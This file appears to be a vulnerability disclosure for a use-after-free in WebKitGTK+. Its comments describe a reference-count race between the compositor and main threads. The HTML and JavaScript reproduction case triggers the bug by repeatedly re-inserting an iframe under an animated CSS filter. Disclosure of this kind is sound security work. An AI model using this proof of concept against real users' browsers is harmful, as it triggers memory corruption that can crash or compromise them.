51 lines
No EOL
1.2 KiB
HTML
51 lines
No EOL
1.2 KiB
HTML
<!--
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VULNERABILITY DETAILS
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The compositor thread in WebKitGTK+ might alter a FilterOperation object's reference count variable at the same time as the main thread. Then the reference count corruption might lead to a UAF condition.
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REPRODUCTION CASE
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-->
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<html>
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<style>
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@keyframes foo {
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0% { opacity: 0; }
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100% { opacity: 1; }
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}
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div {
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animation-name: foo;
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animation-duration: 1s;
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animation-iteration-count: infinite;
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filter: saturate(50%);
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}
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</style>
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<body>
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<script>
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frame = document.createElement("iframe");
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setInterval(_ => {
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frame.remove();
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document.body.appendChild(frame);
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doc = frame.contentDocument;
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doc.head.appendChild(document.querySelector("style").cloneNode(true));
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elt = document.createElement("div");
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elt.textContent = "foo";
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let elements = [];
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for (let i = 0, count = Math.random() * 50; i < count; ++i) {
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elements[i] = doc.body.appendChild(elt.cloneNode(true));
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elements[i].clientWidth;
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}
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}, Math.random() * 500);
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</script>
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</body>
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</html>
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<!--
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VERSION
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Reproduced on WebKitGTK+ build revision 240647.
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This bug doesn't seem to affect WebKit on macOS/iOS.
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--> |